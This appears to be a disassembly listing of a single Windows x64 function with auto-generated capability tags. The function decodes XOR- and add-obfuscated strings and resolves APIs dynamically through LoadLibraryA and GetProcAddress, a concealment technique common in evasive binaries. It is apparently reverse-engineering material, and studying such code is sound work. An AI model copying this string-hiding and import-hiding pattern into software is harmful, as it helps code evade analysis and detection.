Function at 0x1402f2d60
Capabilities:
Authenticate hmac
Check http status code
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
mov rsi, qword [rsp + 0x130]
mov r15, qword [rsp + 0x128]
mov r13, qword [rsp + 0x120]
mov r14, qword [rsp + 0x118]
mov rdi, qword [rsp + 0x110]
mov r12, qword [rsp + 0x108]
mov ebp, dword [rsp + 0x100]
mov eax, ebp
and eax, 0x1f
cmp eax, 0xc
jae 0x1402f2dfd
cmp eax, 4
jbe 0x1402f2e54
cmp eax, 8
jae 0x1402f2ef3
cmp eax, 5
je 0x1402f3039
mov qword [rsp + 0x70], r15
cmp eax, 7
jne 0x1402f30a9
cmp qword [0x140791368], 0
je 0x1402f32dc
mov rsi, rcx
test bpl, 0x40
jne 0x1402f2ffa
jmp 0x1402f41cc
cmp eax, 0xf
jbe case.default.0x1402f2e17
add eax, 0xfffffff0
lea r10, [0x1405f8034]
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
mov rsi, rcx
cmp qword [0x140791360], 0
jne 0x1402f3e72
movzx eax, byte [0x1407416b7]
cmp al, 0x94
je 0x1402f3c9b
mov cl, 0xec
mov al, 0x3c
lock cmpxchg byte [0x1407416b7], cl
je 0x1402f3c66
cmp al, 0x94
jne 0x1402f2e3b
jmp 0x1402f3c9b
cmp eax, 2
jae 0x1402f2f17
test eax, eax
je 0x1402f3001
cmp qword [0x1407912f8], 0
jne 0x1402f33de
movzx eax, byte [0x1407414a9]
cmp al, 0xda
je 0x1402f334e
mov cl, 0x9c
nop word cs:[rax + rax]
mov al, 0xb2
lock cmpxchg byte [0x1407414a9], cl
je 0x1402f3327
cmp al, 0xda
jne 0x1402f2e90
jmp 0x1402f334e
cmp eax, 0xd
jbe 0x1402f2f5e
cmp eax, 0xf
jne 0x1402f2f9b
cmp qword [0x140791338], 0
jne 0x1402f352a
movzx eax, byte [0x1407415e9]
cmp al, 0xc8
je 0x1402f340c
mov cl, 0xb6
mov al, 0xac
lock cmpxchg byte [0x1407415e9], cl
je 0x1402f33ec
cmp al, 0xc8
jne 0x1402f2eda
jmp 0x1402f340c
jne 0x1402f2fa2
mov rcx, r9
mov rdx, r14
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x140308ac0
je 0x1402f3071
cmp eax, 4
jne 0x1402f30f5
cmp qword [0x140791318], 0
jne 0x1402f3770
movzx eax, byte [0x140741547]
cmp al, 0x17
je 0x1402f36ae
mov cl, 0xab
mov al, 0x7e
lock cmpxchg byte [0x140741547], cl
je 0x1402f3679
cmp al, 0x17
jne 0x1402f2f45
jmp 0x1402f36ae
cmp eax, 0xc
jne 0x1402f2fc8
cmp qword [0x140791328], 0
jne 0x1402f4315
movzx eax, byte [0x140741598]
cmp al, 0xba
je 0x1402f344e
mov cl, 0xb2
mov al, 0x82
lock cmpxchg byte [0x140741598], cl
je 0x1402f3435
cmp al, 0xba
jne 0x1402f2f82
jmp 0x1402f344e
call fcn.14030aa90
jmp 0x1402f2ffa
cmp eax, 9
ja 0x1402f31eb
mov rcx, r14
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.1402f2600
mov rcx, qword [0x140742390]
mov edx, dword [0x140742380]
add eax, edx
add eax, 0x6d91
cdqe
add rax, rcx
mov rcx, r14
mov rdx, r12
call qword [0x140704440]
mov qword [r14 + 0x28], 0xffffffffffffffff
xor eax, eax
jmp 0x1402f45d9
cmp qword [0x140791358], 0
jne 0x1402f3656
movzx eax, byte [0x140741697]
cmp al, 0x1d
je 0x1402f3573
mov cl, 0x3b
mov al, 0xc1
lock cmpxchg byte [0x140741697], cl
je 0x1402f353e
cmp al, 0x1d
jne 0x1402f3020
jmp 0x1402f3573
cmp qword [0x1407912f0], 0
jne 0x1402f3868
movzx eax, byte [0x140741479]
cmp al, 0x75
je 0x1402f37a8
mov cl, 0xfb
mov al, 0x18
lock cmpxchg byte [0x140741479], cl
je 0x1402f3781
cmp al, 0x75
jne 0x1402f3058
jmp 0x1402f37a8
cmp qword [0x140791308], 0
jne 0x1402f43eb
movzx eax, byte [0x1407414e9]
cmp al, 0x30
je 0x1402f421f
mov cl, 0xb4
mov al, 0x89
lock cmpxchg byte [0x1407414e9], cl
je 0x1402f41f2
cmp al, 0x30
jne 0x1402f3090
jmp 0x1402f421f
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], r13
cmp qword [0x140791340], 0
jne 0x1402f3a0e
movzx eax, byte [0x140741619]
cmp al, 0x45
je 0x1402f389a
mov r10b, 0xd4
mov al, 0xdd
lock cmpxchg byte [0x140741619], r10b
je 0x1402f3873
cmp al, 0x45
jne 0x1402f30db
jmp 0x1402f389a
mov qword [rsp + 0x60], rsi
xor eax, eax
cmp qword [0x140791330], 0
jne 0x1402f4563
movzx eax, byte [0x1407415c9]
cmp al, 0xb0
je 0x1402f38ff
mov r10b, 0x6d
mov al, 0x15
lock cmpxchg byte [0x1407415c9], r10b
je 0x1402f38d8
cmp al, 0xb0
jne 0x1402f311c
jmp 0x1402f38ff
mov eax, dword [0x140742d70]
jmp 0x1402f45d9
cmp qword [0x140791320], 0
jne 0x1402f45cb
movzx eax, byte [0x140741569]
cmp al, 0x7a
je 0x1402f3a4c
mov r10b, 0x36
mov al, 0xfa
lock cmpxchg byte [0x140741569], r10b
je 0x1402f3a2c
cmp al, 0x7a
jne 0x1402f3161
jmp 0x1402f3a4c
cmp qword [0x140791300], 0
jne 0x1402f3b3c
movzx eax, byte [0x1407414c9]
cmp al, 0xb8
je 0x1402f3aa6
mov cl, 0xa6
mov al, 0xfc
lock cmpxchg byte [0x1407414c9], cl
je 0x1402f3a86
cmp al, 0xb8
jne 0x1402f319a
jmp 0x1402f3aa6
cmp qword [0x1407912e8], 0
jne 0x1402f3c58
movzx eax, byte [0x140741459]
cmp al, 0x4c
je 0x1402f3b7f
mov cl, 0xa2
mov al, 0x44
lock cmpxchg byte [0x140741459], cl
je 0x1402f3b5f
cmp al, 0x4c
jne 0x1402f31d2
jmp 0x1402f3b7f
cmp eax, 0xb
jne 0x1402f331a
mov rdx, rdi
mov rdi, rcx
cmp qword [0x140791310], 0
jne 0x1402f40cf
movzx eax, byte [0x140741519]
cmp al, 0x36
mov rcx, rdi
mov rdi, rdx
je 0x1402f3f35
jmp 0x1402f3efd
cmp qword [0x140791348], 0
jne 0x1402f3eb8
movzx eax, byte [0x140741649]
cmp al, 0x23
je 0x1402f3ceb
mov cl, 0x9c
mov al, 0x1a
lock cmpxchg byte [0x140741649], cl
je 0x1402f3cc4
cmp al, 0x23
jne 0x1402f3241
jmp 0x1402f3ceb
mov eax, dword [0x140742d7c]
xor rax, 0x1d1465fd
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], r8
mov dword [rsp + 0x20], 0xdc0ed809
call fcn.1402f2d60
test rax, rax
je 0x1402f2ffa
mov rcx, rax
mov rdx, r12
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp sub.KERNEL32.dll_GetProcAddress
cmp qword [0x140791350], 0
jne 0x1402f408c
movzx eax, byte [0x140741667]
cmp al, 0x87
je 0x1402f3fb3
mov cl, 0x30
mov al, 0x8f
lock cmpxchg byte [0x140741667], cl
je 0x1402f3ec3
cmp al, 0x87
jne 0x1402f32c3
jmp 0x1402f3fb3
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x68], r8
movzx eax, byte [0x1407416d7]
cmp al, 0x28
mov r15, qword [rsp + 0x70]
je 0x1402f4410
mov dl, 0x36
mov al, 0xed
lock cmpxchg byte [0x1407416d7], dl
je 0x1402f36d4
cmp al, 0x28
jne 0x1402f3301
jmp 0x1402f40df
mov rcx, rdi
call fcn.1405c515c
jmp 0x1402f2ffa
movq xmm0, qword [0x1407414a0]
paddb xmm0, xmmword [0x1405f7d00]
movq qword [0x1407414a0], xmm0
add byte [0x1407414a8], 0x38
mov al, 0xda
xchg byte [0x1407414a9], al
mov rsi, r9
movzx eax, byte [0x1407414bc]
cmp al, 0x44
je 0x1402f33aa
mov cl, 0xfa
nop
mov al, 0x77
lock cmpxchg byte [0x1407414bc], cl
je 0x1402f3372
cmp al, 0x44
jne 0x1402f3360
jmp 0x1402f33aa
movq xmm0, qword [0x1407414b0]
paddb xmm0, xmmword [0x1405f7d10]
movq qword [0x1407414b0], xmm0
movq xmm0, qword [0x1407414b8]
paddb xmm0, xmmword [0x1405f7d20]
movd dword [0x1407414b8], xmm0
mov al, 0x44
xchg byte [0x1407414bc], al
lea rax, [0x1407414b0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x1407414a0]
call fcn.1402f2d60
mov qword [0x1407912f8], rax
test bpl, 0x20
mov r9, rsi
je 0x1402f45d9
mov rcx, r9
call qword [0x1407912f8]
jmp 0x1402f45d7
movabs rax, 0x24d40646ab875be5
xor qword [0x1407415e0], rax
xor byte [0x1407415e8], 0xc5
mov al, 0xc8
xchg byte [0x1407415e9], al
mov rsi, r8
movzx eax, byte [0x140741601]
cmp al, 0xda
je 0x1402f3500
mov cl, 0xfc
mov al, 0xcf
lock cmpxchg byte [0x140741601], cl
je 0x1402f3462
cmp al, 0xda
jne 0x1402f3420
jmp 0x1402f3500
movabs rax, 0x6b2533ac1894980b
xor qword [0x140741590], rax
mov al, 0xba
xchg byte [0x140741598], al
movzx eax, byte [0x1407415b0]
cmp al, 0xb3
je 0x1402f42ee
jmp 0x1402f41dc
mov r15, rdi
mov eax, 0xe2374b1b
mov ecx, 0x1dc8b4f5
mov edx, 0xe2374b1c
mov r8d, 0x1dc8b4f4
xor r9d, r9d
mov r10d, 0xf0f0f0f1
lea r11, [0x1407415f0]
lea rdi, [0x1405f7f60]
mov ebx, r8d
imul rbx, r10
shr rbx, 0x24
lea ebp, [rdx + rbx]
shl ebx, 4
add ebx, ebp
movzx ebp, byte [r9 + r11]
xor bpl, byte [rbx + rdi]
xor bpl, 0xe9
mov byte [r9 + r11], bpl
cmp r9, 0x10
je 0x1402f34f5
mov ebx, ecx
imul rbx, r10
shr rbx, 0x24
lea ebp, [rax + rbx]
shl ebx, 4
add ebx, ebp
movzx ebp, byte [r9 + r11 + 1]
mov ebx, ebx
xor bpl, byte [rbx + rdi]
xor bpl, 0xe9
mov byte [r9 + r11 + 1], bpl
add r9, 2
add eax, 0xfffffffe
add ecx, 2
add edx, 0xfffffffe
add r8d, 2
jmp 0x1402f3491
mov al, 0xda
xchg byte [0x140741601], al
mov rdi, r15
lea rax, [0x1407415f0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x1407415e0]
call fcn.1402f2d60
mov qword [0x140791338], rax
mov r8, rsi
mov rcx, rdi
mov edx, r8d
mov r8, r14
call qword [0x140791338]
jmp 0x1402f45d7
movdqa xmm0, xmmword [0x140741690]
paddb xmm0, xmmword [0x1405f7d30]
movd dword [0x140741690], xmm0
add byte [0x140741694], 0x17
add byte [0x140741695], 0x78
add byte [0x140741696], 0x3b
mov al, 0x1d
xchg byte [0x140741697], al
mov rsi, rdx
movzx eax, byte [0x1407416ac]
cmp al, 0x8f
je 0x1402f362c
mov cl, 0x13
mov al, 0x92
lock cmpxchg byte [0x1407416ac], cl
je 0x1402f359c
cmp al, 0x8f
jne 0x1402f3587
jmp 0x1402f362c
mov eax, 0x790118e9
mov ecx, 0x86fee723
mov edx, 1
mov r8d, 0x790118ea
mov r9d, 0x86fee722
lea r10, [0x1407416a0]
lea r11, [0x1405f7fd0]
mov edi, ecx
imul rdi, rdi, 0x4ec4ec4f
shr rdi, 0x22
lea ebx, [rdi + rdi*2]
lea edi, [rdi + rbx*4]
add edi, eax
mov ebx, r9d
imul rbx, rbx, 0x4ec4ec4f
shr rbx, 0x22
lea r15d, [rbx + rbx*2]
lea ebx, [rbx + r15*4]
add ebx, r8d
movzx ebx, byte [rbx + r11]
xor bl, 0x24
add byte [rdx + r10 - 1], bl
movzx ebx, byte [rdi + r11]
xor bl, 0x24
add byte [rdx + r10], bl
add eax, 0xfffffffe
add ecx, 2
add rdx, 2
add r8d, 0xfffffffe
add r9d, 2
cmp rdx, 0xd
jne 0x1402f35c5
mov al, 0x8f
xchg byte [0x1407416ac], al
lea rax, [0x1407416a0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741690]
call fcn.1402f2d60
mov qword [0x140791358], rax
mov rdx, rsi
mov rax, qword [0x140791358]
mov rcx, rdx
mov edx, r14d
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
movdqa xmm0, xmmword [0x140741540]
pxor xmm0, xmmword [0x1405f7cb0]
movd dword [0x140741540], xmm0
xor byte [0x140741544], 0x46
xor byte [0x140741545], 0x30
xor byte [0x140741546], 0x9c
mov al, 0x17
xchg byte [0x140741547], al
mov rsi, r8
movzx eax, byte [0x14074155c]
cmp al, 0xe1
je 0x1402f3746
mov cl, 0xce
mov al, 0xb8
lock cmpxchg byte [0x14074155c], cl
je 0x1402f370e
cmp al, 0xe1
jne 0x1402f36c2
jmp 0x1402f3746
movdqa xmm0, xmmword [0x1407416d0]
pxor xmm0, xmmword [0x1405f7d40]
movd dword [0x1407416d0], xmm0
xor byte [0x1407416d4], 0xcf
xor byte [0x1407416d5], 0x5d
xor byte [0x1407416d6], 0x45
mov al, 0x28
xchg byte [0x1407416d7], al
jmp 0x1402f40df
movq xmm0, qword [0x140741550]
paddb xmm0, xmmword [0x1405f7cc0]
movq qword [0x140741550], xmm0
movq xmm0, qword [0x140741558]
paddb xmm0, xmmword [0x1405f7cd0]
movd dword [0x140741558], xmm0
mov al, 0xe1
xchg byte [0x14074155c], al
lea rax, [0x140741550]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741540]
call fcn.1402f2d60
mov qword [0x140791318], rax
mov r8, rsi
mov rcx, r15
mov rdx, r8
call qword [0x140791318]
jmp 0x1402f45d7
movq xmm0, qword [0x140741470]
paddb xmm0, xmmword [0x1405f7d50]
movq qword [0x140741470], xmm0
add byte [0x140741478], 0xb0
mov al, 0x75
xchg byte [0x140741479], al
movzx eax, byte [0x140741494]
cmp al, 0x9c
je 0x1402f3841
mov cl, 0x1f
mov al, 0x7f
lock cmpxchg byte [0x140741494], cl
je 0x1402f37cb
cmp al, 0x9c
jne 0x1402f37b9
jmp 0x1402f3841
mov eax, 0x97b812fc
mov ecx, 0x6847ed18
mov edx, 1
mov r8d, 0x97b812fd
mov r9d, 0xba2e8ba3
lea r10, [0x140741480]
lea r11, [0x1405f7ed0]
mov esi, ecx
imul rsi, r9
shr rsi, 0x24
lea edi, [rsi + rsi*4]
lea edi, [rsi + rdi*4]
add edi, esi
lea esi, [rax + rdi]
add edi, r8d
movzx ebx, byte [rdi + r11]
xor bl, 0x16
add byte [rdx + r10 - 1], bl
movzx ebx, byte [rsi + r11]
xor bl, 0x16
add byte [rdx + r10], bl
add eax, 0xfffffffe
add ecx, 2
add rdx, 2
add r8d, 0xfffffffe
cmp rdx, 0x15
jne 0x1402f37f4
mov al, 0x9c
xchg byte [0x140741494], al
lea rax, [0x140741480]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741470]
call fcn.1402f2d60
mov qword [0x1407912f0], rax
call qword [0x1407912f0]
jmp 0x1402f45d7
movq xmm0, qword [0x140741610]
paddb xmm0, xmmword [0x1405f7d60]
movq qword [0x140741610], xmm0
add byte [0x140741618], 0x74
mov al, 0x45
xchg byte [0x140741619], al
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x88], rcx
mov r13, r8
movzx eax, byte [0x140741634]
cmp al, 0x59
je 0x1402f39a1
mov cl, 0xf7
mov al, 0xb8
lock cmpxchg byte [0x140741634], cl
je 0x1402f391d
cmp al, 0x59
jne 0x1402f38c3
jmp 0x1402f39a1
movq xmm0, qword [0x1407415c0]
paddb xmm0, xmmword [0x1405f7cf0]
movq qword [0x1407415c0], xmm0
add byte [0x1407415c8], 0x35
mov al, 0xb0
xchg byte [0x1407415c9], al
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x68], r8
movzx eax, byte [0x1407415df]
cmp al, 0xb9
je 0x1402f441b
jmp 0x1402f43fc
lea r8, [0x1405f7f80]
mov r9d, 0xc28c304b
add r9, r8
mov ecx, 0x805112cc
add rcx, 0x423b1d7e
xor r10d, r10d
movabs r11, 0xcccccccccccccccd
lea rsi, [0x140741620]
mov edi, 0xc28c304a
mov rax, rcx
mul r11
shr rdx, 2
and rdx, 0xfffffffffffffffc
lea rax, [rdx + rdx*4]
mov rdx, r9
sub rdx, rax
mov rbx, r8
sub rbx, rax
add rbx, r10
movzx eax, byte [rdi + rbx]
xor al, 0x21
add byte [r10 + rsi], al
movzx eax, byte [rdx]
xor al, 0x21
add byte [r10 + rsi + 1], al
add r10, 2
add r9, 2
add rcx, 2
cmp r10, 0x14
jne 0x1402f3952
mov al, 0x59
xchg byte [0x140741634], al
lea rax, [0x140741620]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741610]
call fcn.1402f2d60
mov qword [0x140791340], rax
test bpl, bpl
mov r8, r13
mov rcx, qword [rsp + 0x88]
mov r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x90]
js 0x1402f3a0e
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x58], r9
mov al, 0xb9
xchg byte [0x1407415df], al
mov r15, qword [rsp + 0x70]
mov r13, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x78]
jmp 0x1402f441b
mov qword [rsp + 0x20], r12
mov rcx, r8
mov rdx, qword [rsp + 0x70]
mov r8, r9
mov r9d, r14d
call qword [0x140791340]
jmp 0x1402f45d7
movq xmm0, qword [0x140741561]
paddb xmm0, xmmword [0x1405f7c80]
movq qword [0x140741561], xmm0
mov al, 0x7a
xchg byte [0x140741569], al
mov qword [rsp + 0x60], rsi
mov rsi, r8
movzx eax, byte [0x140741584]
cmp al, 0xa5
je 0x1402f45a1
mov r8b, 0x45
mov al, 0xb0
lock cmpxchg byte [0x140741584], r8b
je 0x1402f3a7c
cmp al, 0xa5
jne 0x1402f3a66
jmp 0x1402f45a1
xor eax, eax
mov r8, rsi
jmp 0x1402f4510
movabs rax, 0x36885edbad3c9234
xor qword [0x1407414c0], rax
xor byte [0x1407414c8], 0x34
mov al, 0xb8
xchg byte [0x1407414c9], al
movzx eax, byte [0x1407414dc]
cmp al, 0x2a
je 0x1402f3b06
mov cl, 0xd8
mov al, 0xe3
lock cmpxchg byte [0x1407414dc], cl
je 0x1402f3ace
cmp al, 0x2a
jne 0x1402f3ab3
test bpl, 0x20
je 0x1402f3b06
jmp 0x1402f3b77
movq xmm0, qword [0x1407414d0]
paddb xmm0, xmmword [0x1405f7c60]
movq qword [0x1407414d0], xmm0
movq xmm0, qword [0x1407414d8]
paddb xmm0, xmmword [0x1405f7c70]
movd dword [0x1407414d8], xmm0
mov al, 0x2a
xchg byte [0x1407414dc], al
lea rax, [0x1407414d0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea rax, [0x1407414c0]
mov rsi, r8
mov r8, rax
mov rdi, r9
call fcn.1402f2d60
mov r9, rdi
mov r8, rsi
mov qword [0x140791300], rax
mov rax, qword [0x140791300]
mov ecx, r9d
mov edx, r15d
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
movabs rax, 0x8216f6f2c3bfa1c6
xor qword [0x140741450], rax
xor byte [0x140741458], 0x9c
mov al, 0x4c
xchg byte [0x140741459], al
movzx eax, byte [0x14074146c]
cmp al, 0x68
je 0x1402f3c31
mov cl, 0x5b
mov al, 0xc8
lock cmpxchg byte [0x14074146c], cl
je 0x1402f3ba5
cmp al, 0x68
jne 0x1402f3b90
jmp 0x1402f3c31
mov eax, 0xdfaa1af2
mov ecx, 0x2055e51c
mov edx, 1
mov r8d, 0xdfaa1af3
mov r9d, 0x2055e51b
mov r10d, 0x88888889
lea r11, [0x140741460]
lea rsi, [0x1405f7ec0]
mov edi, ecx
imul rdi, r10
shr rdi, 0x23
lea edi, [rdi + rdi*4]
lea edi, [rdi + rdi*2]
add edi, eax
mov ebx, r9d
imul rbx, r10
shr rbx, 0x23
lea ebx, [rbx + rbx*4]
lea ebx, [rbx + rbx*2]
add ebx, r8d
movzx ebx, byte [rbx + rsi]
xor bl, 0xe2
add byte [rdx + r11 - 1], bl
movzx ebx, byte [rdi + rsi]
xor bl, 0xe2
add byte [rdx + r11], bl
add eax, 0xfffffffe
add ecx, 2
add rdx, 2
add r8d, 0xfffffffe
add r9d, 2
cmp rdx, 0xd
jne 0x1402f3bd4
mov al, 0x68
xchg byte [0x14074146c], al
lea rax, [0x140741460]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741450]
call fcn.1402f2d60
mov qword [0x1407912e8], rax
mov rcx, r13
call qword [0x1407912e8]
jmp 0x1402f45d7
movdqa xmm0, xmmword [0x1407416b0]
paddb xmm0, xmmword [0x1405f7ca0]
movd dword [0x1407416b0], xmm0
add byte [0x1407416b4], 0x39
add byte [0x1407416b5], 0xda
add byte [0x1407416b6], 0x4a
mov al, 0x94
xchg byte [0x1407416b7], al
mov r14, r9
movzx eax, byte [0x1407416cd]
cmp al, 0xa7
je 0x1402f3e48
mov cl, 0x46
mov al, 0x97
lock cmpxchg byte [0x1407416cd], cl
je 0x1402f3d15
cmp al, 0xa7
jne 0x1402f3caf
jmp 0x1402f3e48
movq xmm0, qword [0x140741640]
paddb xmm0, xmmword [0x1405f7c90]
movq qword [0x140741640], xmm0
add byte [0x140741648], 0x4f
mov al, 0x23
xchg byte [0x140741649], al
movzx eax, byte [0x14074165d]
cmp al, 0xd4
je 0x1402f3e91
mov cl, 0x94
mov al, 0xa8
lock cmpxchg byte [0x14074165d], cl
je 0x1402f3da6
cmp al, 0xd4
jne 0x1402f3cfc
jmp 0x1402f3e91
mov r12, rdi
mov eax, 1
mov ecx, 0xbfd6771d
mov edx, 0x402988ed
mov r8d, 0xbfd6771e
mov r9d, 0x402988ec
mov r10d, 0xba2e8ba3
lea r11, [0x1407416c0]
lea r15, [0x1405f7fe0]
mov edi, r9d
imul rdi, r10
shr rdi, 0x23
lea ebx, [rdi + rdi*4]
lea edi, [rdi + rbx*2]
add edi, r8d
movzx ebx, byte [rdi + r15]
xor bl, 0xde
add byte [rax + r11 - 1], bl
cmp rax, 0xd
je 0x1402f3e3d
mov edi, edx
imul rdi, r10
shr rdi, 0x23
lea ebx, [rdi + rdi*4]
lea edi, [rdi + rbx*2]
add edi, ecx
mov edi, edi
movzx ebx, byte [rdi + r15]
xor bl, 0xde
add byte [rax + r11], bl
add rax, 2
add ecx, 0xfffffffe
add edx, 2
add r8d, 0xfffffffe
add r9d, 2
jmp 0x1402f3d47
mov eax, 1
mov ecx, 0xcca88dfa
mov edx, 0x33577212
mov r8d, 0xcca88dfb
mov r9d, 0x33577211
lea r10, [0x140741650]
lea r11, [0x1405f7fa0]
mov esi, r9d
imul rsi, rsi, 0x4ec4ec4f
shr rsi, 0x22
lea edi, [rsi + rsi*2]
lea esi, [rsi + rdi*4]
add esi, r8d
movzx ebx, byte [rax + r10 - 1]
xor bl, byte [rsi + r11]
xor bl, 0xf2
mov byte [rax + r10 - 1], bl
cmp rax, 0xd
je 0x1402f3e89
mov esi, edx
imul rsi, rsi, 0x4ec4ec4f
shr rsi, 0x22
lea edi, [rsi + rsi*2]
lea esi, [rsi + rdi*4]
add esi, ecx
movzx ebx, byte [rax + r10]
mov esi, esi
xor bl, byte [rsi + r11]
xor bl, 0xf2
mov byte [rax + r10], bl
add rax, 2
add ecx, 0xfffffffe
add edx, 2
add r8d, 0xfffffffe
add r9d, 2
jmp 0x1402f3dcf
mov al, 0xa7
xchg byte [0x1407416cd], al
mov rdi, r12
lea rax, [0x1407416c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x1407416b0]
call fcn.1402f2d60
mov qword [0x140791360], rax
mov r9, r14
mov rcx, rdi
mov edx, r9d
mov r8, rsi
mov r9, r13
call qword [0x140791360]
jmp 0x1402f45d7
mov al, 0xd4
xchg byte [0x14074165d], al
lea rax, [0x140741650]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741640]
call fcn.1402f2d60
mov qword [0x140791348], rax
call qword [0x140791348]
jmp 0x1402f45d7
movdqa xmm0, xmmword [0x140741660]
pxor xmm0, xmmword [0x1405f7c50]
movd dword [0x140741660], xmm0
xor byte [0x140741664], 0xc7
xor byte [0x140741665], 0x77
xor byte [0x140741666], 0xcf
mov al, 0x87
xchg byte [0x140741667], al
jmp 0x1402f3fb3
mov dl, 0xf4
mov al, 0x38
lock cmpxchg byte [0x140741519], dl
je 0x1402f3f15
cmp al, 0x36
jne 0x1402f4109
jmp 0x1402f3f35
movabs rax, 0x8e2a9576218d8e2a
xor qword [0x140741510], rax
xor byte [0x140741518], 0x8d
mov al, 0x36
xchg byte [0x140741519], al
movzx eax, byte [0x140741531]
cmp al, 0x67
je 0x1402f40a5
mov dl, 0xb3
mov al, 0x4c
lock cmpxchg byte [0x140741531], dl
je 0x1402f3f5b
cmp al, 0x67
jne 0x1402f3f46
jmp 0x1402f40a5
mov eax, 0xe47412c5
mov edx, 0x1b8bed4c
xor r8d, r8d
lea r9, [0x140741520]
lea r10, [0x1405f7f00]
mov r11d, edx
imul r11, r11, 0x38e38e39
shr r11, 0x22
lea r11d, [r11 + r11*8]
lea r11d, [rax + r11*2]
movzx ebx, byte [r8 + r9]
xor bl, byte [r11 + r10]
xor bl, 0x2b
mov byte [r8 + r9], bl
cmp r8, 0x10
je 0x1402f409d
inc r8
dec eax
inc edx
test bpl, 0x20
jne 0x1402f3f76
movzx eax, byte [0x140741689]
cmp al, 0xff
je 0x1402f4065
mov cl, 0xac
mov al, 0x3c
lock cmpxchg byte [0x140741689], cl
je 0x1402f3fd9
cmp al, 0xff
jne 0x1402f3fc4
jmp 0x1402f4065
mov rdi, rsi
mov eax, 1
mov ecx, 0x5f81146e
mov edx, 0xa07eebaa
mov r8d, 0x5f81146f
lea r9, [0x140741670]
lea r10, [0x1405f7fb0]
mov r11d, edx
imul rsi, r11, 0x4ec4ec4f
shr rsi, 0x23
lea r11d, [rsi + rsi*4]
lea r11d, [r11 + r11*4]
add r11d, esi
lea esi, [r8 + r11]
movzx ebx, byte [rax + r9 - 1]
xor bl, byte [rsi + r10]
xor bl, 0xdf
mov byte [rax + r9 - 1], bl
cmp rax, 0x19
je 0x1402f405a
add r11d, ecx
movzx ebx, byte [rax + r9]
mov r11d, r11d
xor bl, byte [r11 + r10]
xor bl, 0xdf
mov byte [rax + r9], bl
add rax, 2
add ecx, 0xfffffffe
add edx, 2
add r8d, 0xfffffffe
jmp 0x1402f3fff
mov al, 0xff
xchg byte [0x140741689], al
mov rsi, rdi
lea rax, [0x140741670]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741660]
call fcn.1402f2d60
mov qword [0x140791350], rax
mov rcx, r15
mov rdx, rsi
call qword [0x140791350]
jmp 0x1402f45d7
mov al, 0x67
xchg byte [0x140741531], al
mov rdi, rcx
lea rax, [0x140741520]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741510]
call fcn.1402f2d60
mov qword [0x140791310], rax
mov rcx, r12
mov edx, edi
call qword [0x140791310]
jmp 0x1402f45d7
movzx eax, byte [0x1407416ef]
cmp al, 0xb2
mov rsi, qword [rsp + 0x60]
je 0x1402f41a2
mov dl, 0x27
mov al, 0xe8
lock cmpxchg byte [0x1407416ef], dl
je 0x1402f4114
cmp al, 0xb2
je 0x1402f41a2
test bpl, bpl
jns 0x1402f3efd
jmp 0x1402f40f3
mov r14, rdi
mov eax, 1
mov edx, 0x7e19e18c
mov r8d, 0x81e61e80
mov r9d, 0x7e19e18d
mov r10d, 0x92492493
lea r11, [0x1407416e0]
lea rsi, [0x1405f7ff0]
mov edi, r8d
shr edi, 1
imul rdi, r10
shr rdi, 0x22
lea ebx, [rdi + rdi]
shl edi, 4
sub edi, ebx
lea ebx, [r9 + rdi]
movzx ebp, byte [rax + r11 - 1]
xor bpl, byte [rbx + rsi]
xor bpl, 0x62
mov byte [rax + r11 - 1], bpl
cmp rax, 0xf
je 0x1402f4197
add edi, edx
movzx ebx, byte [rax + r11]
mov edi, edi
xor bl, byte [rdi + rsi]
xor bl, 0x62
mov byte [rax + r11], bl
add rax, 2
add edx, 0xfffffffe
add r8d, 2
add r9d, 0xfffffffe
jmp 0x1402f4141
mov al, 0xb2
xchg byte [0x1407416ef], al
mov rdi, r14
mov rsi, rcx
lea rax, [0x1407416e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x1407416d0]
call fcn.1402f2d60
mov qword [0x140791368], rax
mov rcx, rdi
mov edx, esi
call qword [0x140791368]
jmp 0x1402f45d7
mov cl, 0x5c
mov al, 0x90
lock cmpxchg byte [0x1407415b0], cl
je 0x1402f424c
cmp al, 0xb3
je 0x1402f42ee
test bpl, 0x20
